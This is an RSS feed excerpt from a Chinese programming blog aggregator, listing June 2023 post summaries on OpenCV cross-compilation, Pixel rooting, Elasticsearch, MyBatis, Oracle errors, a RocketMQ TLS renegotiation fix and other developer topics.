      <title>Linux下交叉编译opencv以及错误解决</title>
      <link>https://bchobby.github.io/posts/912f2d24e01a48b54c50c6ff8f18c1b0/</link>
      <pubDate>Sat, 17 Jun 2023 10:58:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/912f2d24e01a48b54c50c6ff8f18c1b0/</guid>
      <description>Linux下交叉编译opencv 1、下载opencv源码 下载地址：https://opencv.org/releases/&#xA;选择你需要的版本，点击Sources。&#xA;将源码放在ubuntu随便一个目录下并解压&#xA;进入解压好的opencv目录，创建两个文件夹build和install：&#xA;2、cmake-gui配置： 首先打开cmake-gui，若没有，请使用sudo apt-get install安装、&#xA;圆圈处填上opencv源码路径，矩形处填刚刚创建的build路径。&#xA;点击configure&#xA;这两个地方和我选一样的&#xA;Target System →Operating System 填写Linux （L大写，填入其他如：linux-arm，后面configure会出现错误）；&#xA;Compliers → C and Complier → C++填入对应交叉编译工具链gcc和g++路径；&#xA;Target Root: 交叉编译工具链bin目录路径&#xA;Finish; 无报错&#xA;交叉编译工具自行下载，网上一堆教程。&#xA;配置结束就是这样&#xA;在cmake-gui中取消勾选WITH_1394&#xA;然后把这个位置换成刚刚创建的install目录：&#xA;3、开始编译 进入build目录，使用sudo make -j4开始编译，这个过程很漫长。。。&#xA;报错：&#xA;往上翻发现：&#xA;修改这个文件：&#xA;加上这一行，保存、退出，&#xA;#define HAVE_PTHREAD&#xA;make clean一下，再重新编译&#xA;新错误：&#xA;修改方法：&#xA;进入报错文件：&#xA;加上图中这一句：&#xA;加上这一行，保存、退出，&#xA;make clean一下，再重新编译&#xA;新错误：&#xA;解决方法：&#xA;进入${HOME}/opencv-3.3.14/3rdparty/libpng/pngpriv.h&#xA;将这一段代码&#xA;# if (defined(ARM_NEON) || defined(__ARM_NEON)) &amp;amp;&amp;amp; */ 改成&#xA;# if defined(PNG_ARM_NEON) &amp;amp;&amp;amp; (defined(ARM_NEON) || defined(__ARM_NEON)) &amp;amp;&amp;amp; \ 编译成功：</description>
    </item>
    <item>
      <title>Python四则运算“计算器”——整数口算练习“小程序”</title>
      <link>https://bchobby.github.io/posts/03b6b061251bd18b46c5fba345de563a/</link>
      <pubDate>Fri, 16 Jun 2023 23:38:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03b6b061251bd18b46c5fba345de563a/</guid>
      <description>设定练习题目数量、最大取值整数数，即时判定，答对鼓励答错打印正确结果。&#xA;【学习的细节是欢悦的历程】 Python 官网：https://www.python.org/&#xA;Free：大咖免费“圣经”教程《 python 完全自学教程》，不仅仅是基础那么简单……&#xA;地址：https://lqpybook.readthedocs.io/&#xA;自学并不是什么神秘的东西，一个人一辈子自学的时间总是比在学校学习的时间长，没有老师的时候总是比有老师的时候多。&#xA;—— 华罗庚&#xA;My CSDN主页、My HOT博、My Python 学习个人备忘录好文力荐、 老齐教室 设定练习题数、最大取值数 整数口算练习“小程序” (即时判定，答对鼓励答错打印结果) 本文质量分：&#xA;【 90 】 本文地址： https://blog.csdn.net/m0_57158496/article/details/130876595 CSDN质量分查询入口：http://www.csdn.net/qc&#xA;目 录 ◆ 整数口算练习“小程序”1、本“项目”用到的“工具”2、四则运算“计算器”函数2.1 变量设置2.2 数据处理 3、“计算器”调用3.1 模块载入3.2 常量3.3 参数录入&amp;amp;“计算器”调用 4、代码运行效果截屏图片5、完整源码 ◆ 整数口算练习“小程序” 题目来源&#xA;(题目来源于 CSDN 问答社区提问“ Python 随机出题数四则运算”)。 1、本“项目”用到的“工具” 模块&#xA;1、random&#xA;用 random 模块的 randint() 方法产生两个随机整数，choice() 方法随机选择四则运算符 “+-*/” 。&#xA;2、time&#xA;用 time() 方法获取系统当前时间秒，以方便计算“练习计算”所用时长和平均解题用时。 内置函数&#xA;eval ，将“四则运算表达式”字符串转换成 Python 对象，得出结果(Python 对象如果是表达式，可以自动计算结果)。 回页目录 2、四则运算“计算器”函数 2.</description>
    </item>
    <item>
      <title>【C语言】实现简易计算器</title>
      <link>https://bchobby.github.io/posts/fbcf989633e30fa03f2a890959b59255/</link>
      <pubDate>Fri, 16 Jun 2023 23:25:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbcf989633e30fa03f2a890959b59255/</guid>
      <description>目录&#xA;1.实现逻辑&#xA;2.运行过程&#xA;3.优化前代码分析&#xA;主函数&#xA;计算函数&#xA;4.优化后代码分析&#xA;主函数&#xA;计算方法函数&#xA;输入操作数的函数&#xA;5.完整代码展示&#xA;1.实现逻辑 实现一个简易的计算器，可以计算两个整数的加减乘除&#xA;2.运行过程 3.优化前代码分析 主函数 int main() { int x = 0; int y = 0; int ret = 0; int input = 0; do { menu(); printf(&#34;请选择：&#34;); scanf(&#34;%d&#34;, &amp;amp;input); switch (input) { case 0: printf(&#34;退出计算器\n&#34;); break; case 1: printf(&#34;请输入两个操作数：&#34;); scanf(&#34;%d %d&#34;, &amp;amp;x, &amp;amp;y); ret = Add(x, y); printf(&#34;%d\n&#34;, ret); break; case 2: printf(&#34;请输入两个操作数：&#34;); scanf(&#34;%d %d&#34;, &amp;amp;x, &amp;amp;y); ret = Sub(x, y); printf(&#34;</description>
    </item>
    <item>
      <title>Pixel2XL解锁BL-刷入Twrp-获取Root权限</title>
      <link>https://bchobby.github.io/posts/7ddac1abaa09bd29cb77b665362ba042/</link>
      <pubDate>Fri, 16 Jun 2023 21:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ddac1abaa09bd29cb77b665362ba042/</guid>
      <description>Pixel2XL解锁BL-刷入Twrp-获取Root权限 前提: 手机账号退出，不插卡，不联网，删除pin指纹以及开机密码&#xA;【一】解锁BL(如已解锁，该步骤不需要) (1) bootloader是什么？ bootloader 中文翻译为启动引导程序。打个比方来说，当我们启动手机的时候，最先开始执行的就是这段程序，然后对手机进行一些基本的初始化，然后进入手机系统 (2) 什么是BL锁 所谓的BL锁 也就是bootloader锁。这是手机厂商对手机系统的一种保护方式，目前大部分的手机都有BL锁，在未解锁的情况下，用户不能修改手机系统或者底层，也就是无法刷机和Root。这就是为什么刷机前需要先解锁BL了 (3) BL锁解除 一般带BL锁的手机都是可以进如fatsboot模式的 常见按键操作就是关机状态音量下键+开机键 注意：&#xA;欧版才能解锁美版不能解锁(美版淘宝付费有人解锁) 欧版判断&#xA;点击Settings(设置) -&amp;gt; System(系统) -&amp;gt; About phone(关于手机) -&amp;gt; Regulatory labels(监管标签) 查看。&#xA;MODEL:&#xA;G-2PW4200 4200 表示欧版4100 表示美版演示的是G011C，是美版 【二】Pixel解BL锁步骤 (1)开启usb调试 1 点击Settings(设置) -&amp;gt;&#xA;About phone(关于手机) -&amp;gt;版本号(最底部)---&amp;gt;点击7次(开启usb调试) 2 点击Settings(设置) -&amp;gt;&#xA;系统---&amp;gt;&#xA;高级---&amp;gt;&#xA;开发者选项---&amp;gt;&#xA;进入&#xA;开启OEM解锁&#xA;开启USB调试&#xA;(2)在电脑上配置 adb 环境(win,mac或Linux机器和一根数据线) 「adb」即 Android Debug Bridge ，亦称安卓调试桥，是谷歌为安卓开发者提供的开发工具之一，可以让你的电脑以指令窗口的方式控制手机。&#xA;可以在安卓开发者网页中的 SDK 平台工具页面下直接下载对应系统的 adb 配置文件，大小只有几十MB 1 下载地址(下载对应平台的adb)最新版：&#xA;https://developer.android.com/studio/releases/platform-tools?hl=zh-cn&#xA;2 各平台历史版本下载地址： https://androidmtk.</description>
    </item>
    <item>
      <title>Es索引中时间字段是字符串Range查询的正确姿势</title>
      <link>https://bchobby.github.io/posts/0f249501412bbfedf8ae28b8c185fc59/</link>
      <pubDate>Fri, 16 Jun 2023 17:10:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f249501412bbfedf8ae28b8c185fc59/</guid>
      <description>文章目录 @[toc] 1. 问题2. Es索引的mapping模式2.1 dynamic动态宽松模式（动态映射）2.2 strict严格模式（静态映射） 3. text类型和keyword类型的区别3.1 text类型3.2 keyword类型 4.正确姿势5. 总结 1. 问题 由于之前搞了一个使用flink-cdc将mysql表中的数据同步到es的索引中，例子中数据库中的orders表中的order_date的字段类型是datetime类型，flink-sql建表orders、enriched_orders中的order_date 字段是TIMESTAMP(0)类型，同步到es的enriched_orders索引中的order_date的类型是：&#xA;查询索引的mapping结构语句： GET enriched_orders/_mapping enriched_orders索引的order_date字段类型如下： &#34;order_date&#34; : { &#34;type&#34; : &#34;text&#34;, &#34;fields&#34; : { &#34;keyword&#34; : { &#34;type&#34; : &#34;keyword&#34;, &#34;ignore_above&#34; : 256 } } } 数据被同步到enriched_orders索引的时候不需要我们创建索引，该索引会自动创建，自动创建的也是可以使用的，如果业务的数据模型有特殊格式要求，可以自己重新设计下数据模型，然后自己先把索引创建好，然后使用cdc同步数据到索引中，需要注意的就是三边的字段的类型的对应，如果字段类型不对应估计是会报错的，这种方式我还没有试过的，哪哈具体的业务上在试下看看，然后就写了下面一个语句根据这个order_date字段查询一个时间范围的数据，DSL语句如下：&#xA;GET enriched_orders/_search { &#34;query&#34;: { &#34;range&#34;: { &#34;order_date&#34;: { &#34;gte&#34;: &#34;2020-07-30 10:00:00&#34;, &#34;lte&#34;: &#34;2020-07-31 10:38:11&#34; } } } } 这种方式居然查不到数据，这也是有点奇葩的，这个问题是分词的问题。&#xA;2. Es索引的mapping模式 Elasticsearch 索引映射类型及mapping属性详解&#xA;https://www.knowledgedict.com/tutorial/elasticsearch-index-mapping.html 2.1 dynamic动态宽松模式（动态映射） Es默认索引的mapping是 dynamic：动态宽松模式，也就是随便写，数据自动冗余，es会根据你写入索引的字段数据进行自动推断该是什么类型，这种方式会导致：字段爆炸（字段膨胀）这种操作在有的时候是很危险的，也就是可以在mapping里面随意加字段，一个不小心随意加了字段可能就导致业务代码报错了，这种方式默认大小为：</description>
    </item>
    <item>
      <title>GPT-4已来，Python API使用最新版GPT</title>
      <link>https://bchobby.github.io/posts/4aac769593e5db6e9ebea4271a5f53b7/</link>
      <pubDate>Fri, 16 Jun 2023 16:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4aac769593e5db6e9ebea4271a5f53b7/</guid>
      <description>OpenAI在3月发布了GPT-4，本文介绍如何使用Python访问最新版的GPT-4。&#xA;微信搜索关注《Python学研大本营》，加入读者群，分享更多精彩&#xA;GPT-4 简介 GPT-4是OpenAI最新、最先进的语言模型。GPT-4拥有无可比拟的自然语言处理能力，是开发者的重要资源。本文将探讨如何将GPT-4 API纳入你的Python项目，用于各种应用，包括聊天机器人、编程和内容创作。&#xA;GPT-4在多模式、性能和多语言支持方面达到了新高度，是计算机技术的一次跨越，GPT-4在回答问题、生成文本和各种任务方面具有很大潜力。&#xA;值得注意的是，GPT-4的字数限制已从ChatGPT的3,000字增加到25,000字。该模型在要求高级推理、复杂的教学理解和增强创造力的任务中表现出色。&#xA;如何访问GPT-4？ 概述： 设置环境&#xA;登录OpenAI&#xA;向GPT-4的API发出请求&#xA;1. 设置你的环境 首先，你需要获得API访问凭证。在GPT-4的等待名单上登录，以获得访问权并收到你的API密钥。确保安装OpenAI Python库，以便与GPT-4 API互动。&#xA;pip install openai 如果你过去已经使用过openai包，请确保你用以下方法将其更新到最新版本：pip install - upgrade openai。&#xA;2. 登录到OpenAI 导入已安装的openai包。此外，还要引入os包和Markdown扩展，这么做可以使输出更加美观。导入之后，需要输入API密钥。&#xA;import openai import os from IPython.display import Markdown openai.api_key = &#34;YOUR_KEY&#34; 3. 向GPT-4的API发出请求 最后，告诉GPT-4应该如何使用system_intel参数。这里，我们指示GPT-4要像该领域的专家一样回答问题。作为提示，我们要求GPT-4写一篇关于如何在Python Jupyter笔记本中使用GPT-4的博客。接下来，让我们做一个函数，接收system_intel和提示，并返回结果。&#xA;system_intel = &#34;You are GPT-4, answer my questions as if you were an expert in the field.&#34; prompt = &#34;Write a blog on how to use GPT-4 with python in a jupyter notebook&#34;</description>
    </item>
    <item>
      <title>开发注意事项</title>
      <link>https://bchobby.github.io/posts/1bce9ff9a0a5a6428b289a8063cfce3e/</link>
      <pubDate>Fri, 16 Jun 2023 15:51:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bce9ff9a0a5a6428b289a8063cfce3e/</guid>
      <description> 1.定义常量类必须加上私有构造 例：定义以下按钮常量类&#xA;必须提供一个私有构造，虽然没有私有构造不会报错，但是常量类提供私有构造，这样可以防止类被实例化，防止常量发生被外部改变。提高安全性。&#xA;public class ButtonConstant { //私有构造 private ButtonConstant(){} //保存按钮 public static final String SAVE_BUTTON = &#34;save&#34; //取消按钮 public static final String CANCEL_BUTTON = &#34;cancel&#34;; } 2.返回值Boolean类型的结果判断 在if语句中判断Boolean类型的值时，需用Boolean.TRUE.equals()方法，可以防止出现空指针异常&#xA;例：&#xA;public class TestBoolean { public static void main(String[] args) { TestBoolean testBoolean = new TestBoolean(); if (Boolean.TRUE.equals(testBoolean.method(3))){ System.out.println(&#34;测试空指针异常&#34;); } //以下判断出现空指针异常 if (testBoolean.method(3)){ System.out.println(&#34;测试空指针异常&#34;); } } public Boolean method(int num){ if (num == 1){ return true; } else if (num == 2){ return true; } else { return null; } } } </description>
    </item>
    <item>
      <title>08-Mybatis 动态sql查询</title>
      <link>https://bchobby.github.io/posts/3ade85d8a49b40e852e1bf9eb6af7f4b/</link>
      <pubDate>Fri, 16 Jun 2023 15:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ade85d8a49b40e852e1bf9eb6af7f4b/</guid>
      <description>动态 SQL 是 MyBatis 的强大特性之一。使用动态 SQL 并非一件易事，但借助可用于任何 SQL 映射语句中的强大的动态 SQL 语言，MyBatis 显著地提升了这一特性的易用性。&#xA;MyBatis 动态 SQL 查询是一种可以根据不同的查询条件生成不同 SQL 语句的功能，方便实现灵活的查询操作。&#xA;ifchoose (when, otherwise)trim (where, set)foreach 一、 if &amp;lt;if&amp;gt; 标签是 MyBatis 动态 SQL 查询中使用最为广泛的一个标签，在查询条件比较复杂时，能够有效地帮助我们生成所需的 SQL 语句。&#xA;1.使用条件判断语句生成 SQL 片段 &amp;lt;select id=&#34;getUserList&#34; resultMap=&#34;userResultMap&#34;&amp;gt; SELECT * FROM user &amp;lt;where&amp;gt; &amp;lt;if test=&#34;name != null&#34;&amp;gt; AND name = #{name} &amp;lt;/if&amp;gt; &amp;lt;if test=&#34;age != null&#34;&amp;gt; AND age = #{age} &amp;lt;/if&amp;gt; &amp;lt;/where&amp;gt; &amp;lt;/select&amp;gt; 在上述代码中，我们使用了 &amp;lt;if&amp;gt; 标签来生成 SQL 片段，该标签内的 test 属性值为条件判断语句，当符合条件时就会执行 SQL 语句块内的内容。在上述代码中，我们通过判断 name 和 age 是否为 null，来动态生成 SQL 条件语句。</description>
    </item>
    <item>
      <title>RocketMQ TLS Client-initiated 重协商攻击(CVE-2011-1473)</title>
      <link>https://bchobby.github.io/posts/4cefd4127251859b4339846fd6ba3f44/</link>
      <pubDate>Fri, 16 Jun 2023 14:46:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cefd4127251859b4339846fd6ba3f44/</guid>
      <description>环境信息 rocketmq:4.8.0&#xA;docker镜像 foxiswho/rocketmq:4.8.0&#xA;安全漏洞 服务器支持 TLS Client-initiated 重协商攻击(CVE-2011-1473)&#xA;SSL 重协商攻击（SSL renegotiation attack）是一种安全漏洞攻击，它利用了 SSL/TLS 协议的重协商功能，通过与服务器重新协商密钥，来发起攻击。&#xA;SSL 重协商攻击的危害主要体现在以下两个方面：&#xA;密码重置：攻击者可以利用 SSL 重协商攻击来重置 SSL/TLS 会话密钥，从而能够窃取会话中的敏感信息，如用户名、密码等。&#xA;DoS 攻击：攻击者可以通过 SSL 重协商攻击来占用服务器的计算资源，从而导致服务器性能下降，甚至崩溃。&#xA;因此，SSL 重协商攻击是一种非常危险的攻击方式，需要及时采取措施来防范。&#xA;漏洞验证 访问装了mq的服务器，涉及到了3个端口，默认端口9876、9709、9711&#xA;openssl s_client -connect 192.168.68.200:9876&#xA;输入R触发重协商,可重协商10次以上且连接未断开,重协商成功,漏洞存在。&#xA;漏洞修复 方式一 修改启动脚本 2种方式修改启动脚本，启动脚本中添加 -Djdk.tls.rejectClientInitiatedRenegotiation=true&#xA;mqnamesrv 对应修改启动脚本 runserver.sh&#xA;mqbroker 对应修改启动脚本 runbroker.sh&#xA;执行脚本替换。&#xA;基于以上修改原理，所以针对docker容器中修改方式&#xA;1、直接在mq容器启动时，替换启动脚本&#xA;2、可以发现执行脚本都使用到了JAVA_OPT_EXT，可以启动容器时，设置JAVA_OPT_EXT达到目的。&#xA;这里采用成本较小的设置JAVA_OPT_EXT达到目的&#xA;设置 JAVA_OPT_EXT 使用dockerfile方式 ENV JAVA_OPT_EXT=&#34;-Djdk.tls.rejectClientInitiatedRenegotiation=true&#34; CMD [ &#34;sh&#34;, &#34;mqnamesrv&#34;, &#34;-c&#34;, &#34;/home/rocketmq/rocketmq-4.8.0/conf/namesrv.properties ${JAVA_OPT_EXT}&#34;] 使用 docker-compose.yml，在配置中添加 environment: JAVA_OPT_EXT: &#39;-Djdk.tls.rejectClientInitiatedRenegotiation=true&#39; 当同时使用到了dockerfile和docker-compose.yml时，要注意不要同时设置JAVA_OPT_EXT，会存在覆盖情况。</description>
    </item>
    <item>
      <title>Jetpack Compose — 让Composable具备生命周期感知</title>
      <link>https://bchobby.github.io/posts/cb63a71606ff6d819b040142553ac3f3/</link>
      <pubDate>Fri, 16 Jun 2023 14:38:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb63a71606ff6d819b040142553ac3f3/</guid>
      <description>Jetpack Compose — 让Composable具备生命周期感知 我们将研究不同的方法来实现可组合（Composable）的生命周期感知。我们还将了解可组合生命周期和视图（View）生命周期之间的区别。&#xA;我们将逐步探索不同的解决方案，以寻找一种更好的方式来观察“Jetpack Compose-Way”中组件生命周期事件。&#xA;Composable的生命周期是什么？ 在官方文档中已经清楚地解释了Composable的生命周期。在本文中，我将简要介绍一下。&#xA;https://developer.android.com/jetpack/compose/lifecycle&#xA;组合的 lifecycle由以下阶段定义：&#xA;Enter the Composition - 当Jetpack Compose第一次运行组合时，它会跟踪用于描述UI的组合，并构建所有组合的树形结构，称为组合。&#xA;Recomposition - 当任何状态发生变化最终影响UI时，Jetpack Compose聪明地识别出这些组合，并仅对它们进行重新组合，而无需更新所有组合。&#xA;Leave the Composition - 当UI不再可见时，它是最后一个阶段，因此会删除所有已使用的资源。&#xA;以下图表（源自官方文档）很好地展示了这些阶段。&#xA;https://developer.android.com/jetpack/compose/lifecycle&#xA;View的生命周期是什么？ 在移动开发中，视图的生命周期是一个非常基本的概念，它是UI层许多功能依赖的核心模式。通过控制视图的不同状态，我们可以执行所需的工作。这些不同的状态包括onCreate、onStart、onPause、onResume、onStop和onDestroy。&#xA;在不同的使用情境下，我们必须对这些生命周期事件做出相应的反应。例如，如果用户离开页面，可能有一些资源不再需要，我们可以释放它们；或者如果用户从后台返回到前台，可能希望重新获取最新的信息以展示更新的内容等等。这样的使用情境还有很多。&#xA;Composable的 生命周期 vs View的生命周期 可组合（Composable）的生命周期与视图（View）的生命周期是两种不同的模式。&#xA;Jetpack Compose 引入了可组合的生命周期，与视图的生命周期无关。可组合的生命周期涉及创建 UI 组件树结构、跟踪状态变化并提供高效的 UI 更新。而视图的生命周期则与用户在我们的应用程序/屏幕中的交互方式触发的事件有关，例如切换到另一个屏幕、切换到后台、切换到前台等。&#xA;为了满足许多用例，我们仍然需要使我们的可组合具有生命周期感知的能力。这意味着我们必须监听视图的生命周期事件并对其做出相应的反应，以提供更好的用户体验。&#xA;用例 当用户从后台切换到前台时，我们希望重新获取我们应用程序的数据，从后端获取最新信息并使用该信息更新用户界面。&#xA;首先，让我们看一下未实现此行为时的代码样式。&#xA;// MainViewModel class NewsViewModel ( private val newsRepository: NewsRepository = NewsRepositoryImpl() ) : ViewModel() { init { fetchNews() } private fun fetchNews() { viewModelScope.</description>
    </item>
    <item>
      <title>数据库原理与应用第7章作业</title>
      <link>https://bchobby.github.io/posts/595d73d4d4a902a4c49fc7d822989419/</link>
      <pubDate>Fri, 16 Jun 2023 14:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/595d73d4d4a902a4c49fc7d822989419/</guid>
      <description>数据库原理与应用第7章作业 一. 单选题（共10题，40分）二. 填空题（共3题，15分）三. 简答题（共1题，15分）四. 论述题（共2题，30分） 一. 单选题（共10题，40分） (单选题, 4分)在数据库设计中,在概念设计阶段可用E-R方法,其设计出的图称为 。&#xA;A. 实物示意图&#xA;B. 实用概念图&#xA;C. 实体表示图&#xA;D. 实体联系图&#xA;(单选题, 4分)&#xA;概念模型独立于 。&#xA;A. E-R模型&#xA;B. 硬件设备和DBMS&#xA;C. 操作系统和DBMS&#xA;D. DBMS&#xA;(单选题, 4分)&#xA;在数据库的概念设计中,最常用的数据模型是 。&#xA;A. 形象模型&#xA;B. 物理模型&#xA;C. 逻辑模型&#xA;D. 实体联系模型&#xA;(单选题, 4分)&#xA;从E-R模型关系向关系模型转换时,一个M∶N联系转换为关系模型时,该关系模式的关键字是 。&#xA;A. M端实体的关键字&#xA;B. N端实体的关键字&#xA;C. M端实体关键字与N端实体关键字组合&#xA;D. 重新选取其他属性&#xA;(单选题, 4分)&#xA;数据库物理设计完成后,进入数据库实施阶段,下列各项中不属于实施阶段的工作是 。&#xA;A. 建立库结构&#xA;B. 扩充功能&#xA;C. 加载数据&#xA;D. 系统调试&#xA;(单选题, 4分)数据流程图(DFD)是用于描述结构化方法中 阶段的工具。</description>
    </item>
    <item>
      <title>更新公告：Airtest更新至1.2.10.2版本</title>
      <link>https://bchobby.github.io/posts/21a2904b7c2b5999da7ee922393d3d54/</link>
      <pubDate>Fri, 16 Jun 2023 10:43:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21a2904b7c2b5999da7ee922393d3d54/</guid>
      <description>1. 前言 本次是Airtest库更新，版本提升至1.2.10.2，内容主要是Android录屏功能的改动。&#xA;2. 更改部分 在Airtest1.2.9中提供的cv2模式已经被舍弃，因为容易引发错误，效果也不如ffmpeg；&#xA;只有Android需要mode参数，默认为yosemite模式；Window/iOS的start_recording 不再需要有mode参数；&#xA;录屏的ffmpeg模式增加了max_size参数，能够指定录屏结果的图像大小，因为屏幕图片越大，在录屏时造成的系统负载越大（CPU和内存占用）；&#xA;代码示例：&#xA;dev = connect_device(&#34;android:///&#34;) dev.start_recording(output=&#34;test.mp4&#34;, mode=&#34;ffmpeg&#34;, max_size=800) # Android 支持mode指定使用ffmpeg模式 3. 其他改动 去掉了numpy 的版本号限制&#xA;如果Android出现了屏幕有一半黑屏的情况，可以再次重连&#xA;4. 如何更新 1）使用本地python环境的同学 可以直接更新本地python环境的Airtest库：&#xA;pip install -U airtest 2）使用AirtestIDE的同学 目前最新的Airtest1.2.15内置Airtest版本为1.2.10，所以我们只能在AirtestIDE中设置使用本地python环境，之后将本地python环境的Airtest更到最新的1.2.10.2来体验新版：&#xA;5. Android录屏功能介绍【重点】 1.2.10.2版本的Airtest支持2种录屏模式，yosemite和ffmpeg，默认情况下，都是使用yosemite录屏模式 。&#xA;1）如何选择合适的Android录屏模式 上述两种录屏模式的区别如下：&#xA;yosemite ：原有的默认模式，录屏清晰度和质量较高，但兼容性较差，部分机型可能有问题；&#xA;支持的参数：max_time, orientation, bit_rate, bit_rate_level ffmpeg : 在1.2.9之后加入的新模式，录屏帧率和质量较低，但兼容性更好，能兼容绝大多数设备;&#xA;支持的参数：max_time, orientation , max_size,fps, snapshot_sleep 由此可见，如果对录屏清晰度有要求的话，可以使用默认的录屏模式 yosemite (前提是设备能使用这种录屏方式)，不用额外指定录屏模式的参数；&#xA;如果对录屏清晰度没有很高要求的话，可以指定录屏模式为 ffmpeg ：&#xA;dev = connect_device(&#34;Android:///&#34;) dev.start_recording(mode=&#34;ffmpeg&#34;,output=&#34;test.mp4&#34;) pass dev.stop_recording() 2）重要参数：指定录屏时长 max_time 2种录屏模式均有一个默认的录屏时长：1800s，也就是半小时；用户可以自由修改这个默认的录屏时长：</description>
    </item>
    <item>
      <title>Oracle11gRAC安装JVM组件</title>
      <link>https://bchobby.github.io/posts/937e94ccd122916f086e48f65fed839c/</link>
      <pubDate>Fri, 16 Jun 2023 09:16:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/937e94ccd122916f086e48f65fed839c/</guid>
      <description>目录： 安装前检查：安装JVM组件：方式一（图形化安装）方式二（执行脚本安装） 检查DB JVM状态脚本 安装前检查： 检查角色：&#xA;select * from dba_roles where ROLE in (&#39;JAVAIDPRIV&#39;,&#39;JAVAUSERPRIV&#39;); 检查DBMS_JAVA：&#xA;select * from dba_procedures where OBJECT_NAME= &#39;DBMS_JAVA&#39;; 检查组件：&#xA;-- Start of File full_jvminst_ceshi.sql spool full_jvminst_ceshi.log; set echo on select obj#, name from obj$ where type#=28 or type#=29 or type#=30 or namespace=32; select count(*), object_type from all_objects where object_type like &#39;%JAVA%&#39; group by object_type; select count(*), object_type from all_objects where object_type like &#39;%JAVA%&#39; group by object_type; select count(*), object_type from all_objects where object_type like &#39;%JAVA%&#39; group by object_type; select count(*), object_type from all_objects where object_type like &#39;%JAVA%&#39; group by object_type; select count(*), object_type from all_objects where object_type like &#39;%JAVA%&#39; group by object_type; set echo off spool off exit -- End of File full_jvminst_ceshi.</description>
    </item>
    <item>
      <title>ORA-00600: internal error code, arguments: [kcm_headroom_warn_1]</title>
      <link>https://bchobby.github.io/posts/9b3a7a53997037672ea549daf529f7aa/</link>
      <pubDate>Fri, 16 Jun 2023 08:54:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b3a7a53997037672ea549daf529f7aa/</guid>
      <description>目录： 故障描述：问题处理： 故障描述： 一台老物理服务器搬迁，启动操作系统后尝试启动数据库报错&#xA;SQL&amp;gt; startup ORACLE instance started. Total System Global Area 2.0176E+10 bytes Fixed Size&#x9;2261928 bytes Variable Size&#x9;5167385688 bytes Database Buffers&#x9;1.4965E+10 bytes Redo Buffers&#x9;41463808 bytes Database mounted. ORA-00600: internal error code, arguments: [kcm_headroom_warn_1], [], [], [], [], [], [], [], [], [], [], [] 数据库告警日志如下:&#xA;Wed Jan 01 15:14:49 2014 Errors in file /u01/app/oracle/diag/rdbms/ORCL/ORCL/trace/ORCL_p022_8900.trc: ORA-01578: ORACLE data block corrupted (file # 9, block # 2966543) ORA-01110: data file 9: &#39;/oracle/oradate/nsfw_date1.</description>
    </item>
    <item>
      <title>WPF_MVVM简述</title>
      <link>https://bchobby.github.io/posts/9b3720d80bab36f29500f81acd078bf4/</link>
      <pubDate>Fri, 16 Jun 2023 01:43:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b3720d80bab36f29500f81acd078bf4/</guid>
      <description>MVVM即Model-View-ViewModel Model：Class（实体类）View：UI（User Interface）ViewModel：Model for View（逻辑代码） MVVM模式实例 Command internal class DelegateCommand : ICommand { //命令可执行性发生变化时，发送通知 public event EventHandler? CanExecuteChanged; //判断委托执行函数 public bool CanExecute(object? parameter) { //未设置判断委托则默认可执行 if (this.CanExecuteFunc == null) { return true; } return this.CanExecute(parameter); } //执行委托执行函数 public void Execute(object? parameter) { //未设置执行委托则默认不执行 if (this.ExecuteAction == null) { return; } this.ExecuteAction(parameter); } //创建委托属性（执行委托 与 判断委托） public Action&amp;lt;object&amp;gt; ExecuteAction { get; set; } public Func&amp;lt;object,bool&amp;gt; CanExecuteFunc { get; set; } } Model层 根据需要添加实体类（此处仅演示MVVM模式，不涉及数据库）</description>
    </item>
    <item>
      <title>【群智能算法】哈里斯鹰优化算法 HHO算法【Matlab代码#19】</title>
      <link>https://bchobby.github.io/posts/6071cee35b905e33ef3b101dfffdd7a8/</link>
      <pubDate>Thu, 15 Jun 2023 23:14:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6071cee35b905e33ef3b101dfffdd7a8/</guid>
      <description>文章目录 【`获取资源`请见文章第6节：资源获取】1. 算法简介2. 探索行为3. 开发行为4. 部分代码展示5. 仿真图展示6. 资源获取 【获取资源请见文章第6节：资源获取】 1. 算法简介 HHO算法通过模仿哈里斯鹰的群体狩猎行为和突袭围捕策略实现优化算法的全局寻优，其捕猎过程分为全局探索和局部开发两个阶段。&#xA;哈里斯鹰优化算法（Harris’ Hawk Optimization，简称HHO）是一种基于鹰的行为策略的启发式优化算法。该算法模拟了鹰群中鹰之间的合作行为，通过模拟狩猎过程来寻找最优解。&#xA;HHO算法的工作原理如下：&#xA;初始化鹰的位置和速度，这些位置和速度代表了解空间中的候选解。&#xA;计算每只鹰的适应度值，适应度值代表了候选解的优劣程度。&#xA;根据适应度值选择一只&#34;领导鹰&#34;，通常是适应度最好的鹰。&#xA;根据一定的概率，随机选择其他鹰作为&#34;跟随鹰&#34;，这些鹰将采用领导鹰的行动策略。&#xA;根据鹰的行为策略（如搜索、追捕、聚集等），更新鹰的位置和速度。&#xA;判断是否达到终止条件，如果满足则输出最优解；否则返回步骤2。&#xA;HHO算法通过模拟鹰群的协作行为，将优化问题转化为搜索过程，并通过迭代来逐步改进解的质量。相比于传统的优化算法，HHO算法具有以下优点：&#xA;多样性：HHO算法通过引入随机选择的&#34;跟随鹰&#34;，增加了解空间的多样性，有助于避免陷入局部最优解。&#xA;协作性：领导鹰和跟随鹰之间的协作有助于信息共享和全局搜索，有助于更快地找到最优解。&#xA;简单性：HHO算法的实现相对简单，易于理解和应用。&#xA;然而，需要注意的是，HHO算法并不是适用于所有类型的优化问题，其性能可能受到问题特性的影响。在实际应用中，需要根据具体问题的特点选择合适的优化算法。&#xA;2. 探索行为 3. 开发行为 4. 部分代码展示 %% Exploitation: % Attacking the rabbit using 4 strategies regarding the behavior of the rabbit %% phase 1: surprise pounce (seven kills) % surprise 